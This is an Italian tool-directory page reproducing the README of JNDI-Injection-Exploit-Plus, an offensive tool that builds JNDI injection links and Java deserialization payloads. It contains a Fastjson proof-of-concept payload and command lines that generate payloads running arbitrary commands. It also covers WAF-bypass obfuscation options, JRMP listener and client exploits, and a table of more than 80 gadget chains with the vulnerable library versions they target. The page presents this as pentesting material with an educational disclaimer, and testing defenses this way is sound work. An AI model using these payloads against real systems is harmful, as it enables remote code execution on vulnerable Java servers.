Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
JNDI-Injection-Exploit-Plus — Genera collegamenti di iniezione JNDI funzionanti e payload di deserializzazione con oltre 80 gadget, supportando server RMI, LDAP e HTTP per test automatizzati delle vulnerabilità. | Kitploit
Strumenti/GitHubGitHub/cckuailong/jndi-injection-exploit-plus
Framework di ExploitAnalisi delle VulnerabilitàSfruttamento di Applicazioni WebPenetration TestingSviluppo Payload
GitHubcckuailong/jndi-injection-exploit-plus

JNDI-Injection-Exploit-Plus

Genera collegamenti di iniezione JNDI funzionanti e payload di deserializzazione con oltre 80 gadget, supportando server RMI, LDAP e HTTP per test automatizzati delle vulnerabilità.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
8801142 anni faRevisionato da Kitploit

JNDI-Injection-Exploit-Plus

README in cinese

Descrizione

JNDI-Injection-Exploit-Plus è uno strumento per generare link JNDI funzionanti e fornire servizi in background avviando server RMI, LDAP e HTTP.

Usando questo strumento puoi ottenere link JNDI che puoi inserire nel tuo POC per testare la vulnerabilità.

Per esempio, questo è un vul-poc di Fastjson:

root@kitploit:~
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}

Possiamo sostituire "rmi://127.0.0.1:1099/Object" con il link generato da JNDI-Injection-Exploit-Plus per testare la vulnerabilità.

Inoltre, puoi anche usare JNDI-Injection-Exploit-Plus per generare payload di tipo base64/hex come ysoserial

Più di JNDI-Injection-Exploit

JNDI-Injection-Exploit è un ottimo strumento, questa è la versione plus.

Cosa c'è di più

1. Più gadget di riferimento remoto JNDI: (totale: 3)

  • Supporto JDK 6/7/8

2. Più gadget di riferimento locale JNDI: (totale: 4)

3. Gadget di deserializzazione (totale: 75)

P.S. Più gadget (⬆️) di ysoserial, benvenuti a fare PR! ^_^

4. Generare ed esportare payload

Come ysoserial.

Puoi generare i payload di deserializzazione con output di tipo Base64 o HEX

5. Wrapper

Alcuni wrapper per incapsulare dati di deserializzazione.

WrapperEsempi di vulnerabilità
XstreamCVE-2021-39149
ApereoApereo 4.1 Deserialization RCE
  • Esempio
root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream

6. Fusione

Nasconde il nome della classe per bypassare il WAF.

  • Esempio
root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F

Riferimento: https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html

Servizio web per restituire gadget di deserializzazione

root@kitploit:~
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar
root@kitploit:~
POST /deserial/{Gadget}

cmd={command}&wrapper={wrapper}output={base64/hex}

P.S. I parametri wrapper e output sono opzionali

Utilizzo

Link JNDI

Esegui come

root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-A] [address]

dove:

  • -C - comando eseguito nel classfile remoto.

    (opzionale, comando predefinito è "open /Applications/Calculator.app")

  • -A - l'indirizzo del tuo server, può essere un indirizzo IP o un dominio.

    (opzionale, indirizzo predefinito è il primo indirizzo dell'interfaccia di rete)

Punti di attenzione:

  • assicurati che le porte del server (1099, 1389, 8180) siano disponibili.

    oppure puoi cambiare la porta predefinita nella classe run.ServerStart.

  • il tuo comando viene passato a Runtime.getRuntime().exec() come parametro,

    quindi devi assicurarti che il comando sia eseguibile nel metodo exec().

    I comandi in bash come "bash -c ...." necessitano di virgolette doppie.

Payload di deserializzazione

Esegui come

root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [base64/hex]

dove:

  • -C - comando eseguito nel classfile remoto.

    (opzionale, comando predefinito è "open /Applications/Calculator.app")

  • -D - Il nome del payload del gadget di deserializzazione.

  • -O - (Opzionale) Il tipo di output di deserializzazione, predefinito base64

Exploit di deserializzazione

JRMP

  • JRMPListener
root@kitploit:~
java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
  • JRMPClient
root@kitploit:~
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64

Esempi

Link JNDI

Demo locale:

  1. Avvia lo strumento in questo modo:

    root@kitploit:~
    $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
    

    Screenshot:

  2. Supponiamo di iniettare i link JNDI come rmi://ADDRESS/remoteExploit8 generati nel passo 1 in un'applicazione vulnerabile che può essere attaccata tramite JNDI injection.

    In questo esempio, appare così:

    root@kitploit:~
    class Test{
        public static void main(String[] args) throws Exception{
            InitialContext ctx = new InitialContext();
            ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
        }
    }
    

    quindi quando eseguiamo questo codice, il comando verrà eseguito,

    e il log verrà stampato nella shell:

Per ulteriori esempi: Test-JNDI-Injection-Exploit-Plus

Payload di deserializzazione

root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64

Risultato dell'output Base64:

Installazione

Possiamo selezionare uno dei due metodi per ottenere il jar.

  1. Scarica l'ultimo jar da Realease.

  2. Clona il codice sorgente in locale e builda (richiede Java 1.8+ e Maven 3.x+).

    root@kitploit:~
    $ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
    
    root@kitploit:~
    $ cd JNDI-Injection-Exploit-Plus
    
    root@kitploit:~
    $ mvn clean package -DskipTests
    

P.S. ‼️ Se ottieni un errore come "java.rmi.xxx does not exists", dovresti impostare la variabile d'ambiente JAVA_HOME.

Dichiarazione di non responsabilità

Tutte le informazioni e il codice sono forniti esclusivamente per scopi educativi e/o per testare i propri sistemi per queste vulnerabilità.

Scarica lo strumento
Payloadautoredipendenze
Tomcat 8+ o SpringBoot@welk1ntrustURLCodebase è false ma ha Tomcat 8+ o SpringBoot 1.2.x+ nel classpath
Groovy (GroovyClassLoader)@cckuailongtrustURLCodebase è false ma ha Tomcat e Groovy nel classpath
Groovy (GroovyShell)@cckuailongtrustURLCodebase è false ma ha Tomcat e Groovy nel classpath
Websphere Readfile@cckuailongtrustURLCodebase è false ma ha WebSphere v6-v9 nel classpath
payloadautoredipendenze
AspectJWeaver@Jangaspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1@pwntester, @cschneider4711bsh:2.0b5
C3P0@mbechlerc3p0:0.9.5.2, mchange-commons-java:0.2.11
C3P0Tomcat@yulegeyutomcat, com.mchange:c3p0:0.9.5.2, com.mchange:mchange-commons-java:0.2.11
Click1@artsploitclick-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure@JackOfMostTradesclojure:1.8.0
Coherence1 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
Coherence2 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
Coherence3 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
Coherence4 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
Coherence5 ⬆️@cckuailongcoherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
Coherence6 ⬆️@cckuailongcoherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
CommonsBeanutils1@frohoffcommons-beanutils:1.9.2
CommonsBeanutils2 ⬆️@cckuailongcommons-beanutils:1.9.2
CommonsCollections1@frohoffcommons-collections:3.1
CommonsCollections1_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections2@frohoffcommons-collections4:4.0
CommonsCollections2_1 ⬆️@cckuailongcommons-collections4:4.0
CommonsCollections3@frohoffcommons-collections:3.1
CommonsCollections3_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections4@frohoffcommons-collections4:4.0
CommonsCollections5@matthias_kaiser, @jasinnercommons-collections:3.1
CommonsCollections5_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections6@matthias_kaisercommons-collections:3.1
CommonsCollections6_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections6_2 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections6_3 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections7@scristalli, @hanyrax, @EdoardoVignaticommons-collections:3.1
CommonsCollections7_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections8 ⬆️@cckuailongcommons-collections4:4.0
CommonsCollections9 ⬆️@cckuailongcommons-collections:3.2.1
CommonsCollections10 ⬆️@cckuailongcommons-collections:3.2.1
CommonsCollections11 ⬆️@cckuailongcommons-collections:3.1
FileUpload1@mbechlercommons-fileupload:1.3.1, commons-io:2.4
Groovy1@frohoffgroovy:2.3.9
Hibernate1@mbechler
Hibernate2@mbechler
Jackson ⬆️@y4ercom.fasterxml.jackson.core:jackson-databind:2.14.2
JBossInterceptors1@matthias_kaiserjavassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21@frohoff
JRMPClient1@mbechler
JRMPClient2 ⬆️@cckuailong
JRMPClient3 ⬆️@cckuailong
JRMPClient4 ⬆️@cckuailong
JRMPClient5 ⬆️@cckuailong
JRMPClient6 ⬆️@cckuailong
JRMPListener1@cckuailong
JSON1@mbechlerjson-lib🫙jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1@matthias_kaiserjavassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jython1@pwntester, @cschneider4711jython-standalone:2.5.2
MozillaRhino1@matthias_kaiserjs:1.7R2
MozillaRhino2@_tint0js:1.7R2
Myfaces1@mbechler
Myfaces2@mbechler
ROME1@mbechlerrome:1.0
ROME2 ⬆️@firebaskyrome:1.0
Scala1 ⬆️@jarijorg.scala-lang:scala-library:2.13.x
Spring1@frohoffspring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2@mbechlerspring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
Spring3 ⬆️@cckuailongspring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2
URLDNS@geblsolo jre per rilevamento vulnerabilità
Vaadin1@kai_ullrichvaadin-server:7.7.14, vaadin-shared:7.7.14
Weblogic1 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.0
Weblogic2 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.0
Weblogic3 ⬆️@cckuailongcom.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager
Weblogic4 ⬆️@cckuailongweblogic.common.internal.WLObjectOutputStream
Weblogic5 ⬆️@cckuailongweblogic:12.2.1.4, coherence
Weblogic6 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4
Weblogic7 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4
Weblogic8 ⬆️@cckuailongweblogic:12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic9 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic10 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic11 ⬆️@cckuailongweblogic:12.2.1.3, 12.2.1.4, 14.1.1.0
Wicket1@jacob-baineswicket-util:6.23.0, slf4j-api:1.6.4
WildFly1 ⬆️@hugoworg.wildfly:wildfly-connector:26.0.1.Final
JbossRemotingJboss Remoting Port Unserialization
GzipAlcune interfacce yonyou usano Gzip
DirtyInserisce molti dati sporchi per bypassare il WAF